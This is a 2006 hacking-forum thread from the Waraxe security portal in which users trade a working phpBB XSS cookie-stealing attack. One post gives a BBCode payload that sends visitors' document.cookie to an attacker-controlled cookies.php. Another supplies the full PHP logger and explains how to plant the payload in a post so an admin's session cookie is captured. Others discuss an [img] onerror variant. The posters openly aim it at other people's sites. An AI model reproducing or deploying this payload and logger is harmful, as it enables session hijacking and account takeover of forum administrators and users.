Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 28, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 565
Members: 0
Total: 565
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> Cookie Man, 2.0.16 xss
Post new topic  Reply to topic View previous topic :: View next topic 
Cookie Man, 2.0.16 xss
PostPosted: Thu Apr 27, 2006 6:49 pm Reply with quote
Bill324
Regular user
Regular user
 
Joined: Apr 07, 2006
Posts: 11




Hey,

I just need a little matter cleared up.

On the phpbb 2.0.16 cookie stealer thingy, the code looks summin like this:

Code:
[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://mysite/cookies.php?c='+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]


Im just not sure what webadresses I change, say if I was attacking www.teletubbies.com, would I change the script to http://teletubbies.com/cookies.php?

Or do I use my own website Shocked

Many thanks,

-Earnshaw[/code]
View user's profile Send private message
PostPosted: Thu Apr 27, 2006 9:32 pm Reply with quote
Chb
Valuable expert
Valuable expert
 
Joined: Jul 23, 2005
Posts: 206
Location: Germany




To your cookie-logging-script of course. -> Your site.
Or how do you get the script into the directory of victim's site? Laughing

_________________
www.der-chb.de
View user's profile Send private message Visit poster's website ICQ Number
PostPosted: Sat Apr 29, 2006 6:36 am Reply with quote
Bill324
Regular user
Regular user
 
Joined: Apr 07, 2006
Posts: 11




I did it but...

It just like appeared...with the code.
View user's profile Send private message
PostPosted: Sat Apr 29, 2006 7:36 pm Reply with quote
johnny
Regular user
Regular user
 
Joined: Mar 13, 2006
Posts: 13




You have to have cookies.php on your own website. The code for it is

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("m/d/Y g:i:s a");
$referer=getenv ('HTTP_REFERER');
$fl = fopen('log.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
fclose($fl);
?>

And you need log.txt on the same website. Both of these files should be in the same directory and have write access and execute access (chmod 777).

Then you change the code that you posted to point to your own website.

Then paste the code into a PM or a post on the target website. When an admin running IE for Windows with autologin on views the post, his cookie will be copied into the file log.txt on your website.
View user's profile Send private message
PostPosted: Wed May 03, 2006 11:58 am Reply with quote
pasching
Regular user
Regular user
 
Joined: May 03, 2006
Posts: 8




i use the same cookies.php, the difference is that i use the [img] exploit
only problem is, how do i get him to read the cookie data?
i know it's supposed to be stored in document.cookie but if i do [img]http://www.mywebspace.com/cookies.php?c=document.cookie[/img], then in my log text there's

Cookie: document.cookie
IP: 217.111.50.190
Date and Time: 3 May, 2006, 1:32 pm
Referer: http://www.blabla.com/board/posting.php4?mode=topicreview&t=136498

it probably needs javascript code to read it out
any advice?[/img]
View user's profile Send private message
PostPosted: Wed May 03, 2006 6:48 pm Reply with quote
Chb
Valuable expert
Valuable expert
 
Joined: Jul 23, 2005
Posts: 206
Location: Germany




pasching wrote:
i use the same cookies.php, the difference is that i use the [img] exploit
only problem is, how do i get him to read the cookie data?
i know it's supposed to be stored in document.cookie but if i do [img]http://www.mywebspace.com/cookies.php?c=document.cookie[/img], then in my log text there's

Cookie: document.cookie
IP: 217.111.50.190
Date and Time: 3 May, 2006, 1:32 pm
Referer: http://www.blabla.com/board/posting.php4?mode=topicreview&t=136498

it probably needs javascript code to read it out
any advice?[/img]


You need XSS (Cross Site Scripting), this means the possibility to inject own HTML-code, to do this.
Otherwise your JavaScript-code won't be executed.

_________________
www.der-chb.de
View user's profile Send private message Visit poster's website ICQ Number
PostPosted: Thu May 04, 2006 12:25 am Reply with quote
pasching
Regular user
Regular user
 
Joined: May 03, 2006
Posts: 8




hehe, thats not the problem, this is an old 2.0.0 board where you can execute your own code between the img tags
old exploit, worked til 2.0.8 or so
anyways, as you can see i can already get IP adress and referer of the target (or, the person who reads my post)
i can also do whats explained here -> http://marc.theaimsgroup.com/?l=bugtraq&m=102253327105538&w=2, do a [img]http://a.a/a"onerror="javascript:alert(document.cookie)[/img] and it does a popup with my cookie data
so executing code works fine, i just need the correct code for executing my cookies.php
thanks, greets
View user's profile Send private message
Cookie Man, 2.0.16 xss
  www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.124 Seconds